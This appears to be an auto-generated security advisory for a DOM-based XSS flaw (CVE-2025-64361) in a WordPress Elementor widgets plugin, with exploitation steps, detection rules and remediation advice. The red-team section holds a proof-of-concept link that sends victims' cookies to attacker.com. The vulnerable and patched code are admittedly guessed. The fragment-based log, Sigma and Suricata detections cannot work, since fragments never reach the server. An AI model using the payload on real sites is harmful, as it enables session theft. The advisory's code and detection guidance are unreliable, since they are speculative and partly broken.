CVE-2025-64361

Executive Summary

CVE-2025-64361 is a DOM-Based Cross-Site Scripting (XSS) vulnerability affecting the Consulting Elementor Widgets plugin by StylemixThemes, a WordPress ecosystem component. The vulnerability exists in versions from n/a through 1.4.2. It allows an attacker to inject malicious scripts into web pages via improper neutralization of user input during web page generation. The CVSS score is 6.5 (Medium), with a vector indicating network-based, low-complexity attacks requiring user interaction. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and third-party marketplaces. Users should verify the integrity of plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

The threat level is medium due to the requirement for user interaction (e.g., clicking a crafted link) and the limited impact on confidentiality and integrity. However, DOM-based XSS can lead to session hijacking, credential theft, or defacement.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS in the consulting-elementor-widgets plugin. The plugin fails to sanitize user-controlled input before inserting it into the Document Object Model (DOM) via JavaScript. Attackers can craft a URL or payload that, when processed by the browser, executes arbitrary JavaScript in the context of the victim's session.

Root Cause: The plugin uses innerHTML, document.write, or similar DOM manipulation methods without proper encoding or validation of input from location.hash, location.search, or document.referrer.

Attack Vector: An attacker sends a malicious link to a victim. The link contains a payload in the URL fragment (e.g., #<script>alert('XSS')</script>). When the victim visits the page, the plugin's JavaScript reads the fragment and injects it into the DOM, executing the script.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.4.2):

// Example of vulnerable code in consulting-elementor-widgets
var hash = window.location.hash;
if (hash) {
    document.getElementById('some-element').innerHTML = hash;
}

Patched Code (Hypothetical):

// Patched version would sanitize input
var hash = window.location.hash;
if (hash) {
    var sanitized = DOMPurify.sanitize(hash);
    document.getElementById('some-element').innerHTML = sanitized;
}

No official patch is available. The vendor has not released a fixed version.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Consulting Elementor Widgets <= 1.4.2
• Victim user with a modern browser

Exploitation Steps:

1. Craft a malicious URL:

   https://victim-site.com/?page_id=123#<img src=x onerror=alert('XSS')>
   

2. Send the link to the victim via phishing email or social engineering.
3. When the victim clicks the link, the payload executes in their browser.

Proof-of-Concept (No public exploit available):

<!-- Save as poc.html and host on attacker server -->
<a href="https://victim-site.com/?page_id=123#<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>">Click me</a>

Blue Team

Detection Steps:

1. Monitor web server logs for requests containing suspicious URL fragments (e.g., <script>, <img onerror).
2. Use browser-based XSS filters (e.g., X-XSS-Protection header).
3. Implement Content Security Policy (CSP) to block inline scripts.

Lab Setup:

• Install WordPress with Consulting Elementor Widgets 1.4.2 on a local VM.
• Use Burp Suite or OWASP ZAP to intercept and modify requests.
• Test with payloads from the XSS Cheat Sheet.

Indicators of Compromise (IOCs)

• URL Patterns:
  • /?page_id=*#<script>
  • /?page_id=*#<img onerror=
  • /?page_id=*#<svg onload=
• Network Traffic:
  • Outbound requests to attacker-controlled domains from the victim's browser.
• Log Entries:
  • HTTP requests with non-standard fragment identifiers containing HTML/JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_64361_DOM_XSS {
    meta:
        description = "Detects DOM-based XSS payloads in Consulting Elementor Widgets"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-64361"
    strings:
        $payload1 = /#<script[^>]*>/
        $payload2 = /#<img[^>]*onerror=/
        $payload3 = /#<svg[^>]*onload=/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-64361 DOM XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential DOM-based XSS attempts against Consulting Elementor Widgets
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
    condition: selection
falsepositives:
    - Legitimate use of HTML fragments in URLs
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64361 DOM XSS Attempt"; flow:to_server; content:"#<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-64361 DOM XSS via img"; flow:to_server; content:"#<img"; http_uri; classtype:web-application-attack; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Consulting Elementor Widgets plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block requests with suspicious URL fragments.
3. Add the following CSP header to prevent inline script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

Long-Term Fix:

• The vendor must release a patched version that sanitizes DOM input using DOMPurify or similar libraries.
• Users should update to the latest version once available.

Workaround:

• Modify the plugin's JavaScript files to use textContent instead of innerHTML where possible.

Valters IT